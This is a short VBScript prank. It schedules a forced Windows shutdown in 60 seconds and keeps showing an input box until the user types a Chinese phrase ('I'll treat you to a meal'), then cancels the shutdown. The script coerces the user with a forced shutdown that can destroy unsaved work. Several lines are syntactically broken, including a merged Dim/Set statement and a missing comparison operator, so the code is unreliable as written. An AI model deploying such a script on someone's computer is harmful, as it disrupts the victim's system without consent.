Option Explicit
On Error Resume Next
Dim answer
Dim WshShell Set WshShell = CreateObject
("wscript.Shell")
WshShell.Run"Shutdown/f/s/t 60/c 输入'我要请你吃饭',否则60秒后关机~",0
Do While answer"我要请你吃饭"
answer=InputBox("输入'我要请你吃饭',否则60秒后关机~","哈哈哈",,7000,5000)
Loop
WshShell.Run"Shutdown/a",0
MsgBox"测试一下能不能用",,"嘻嘻"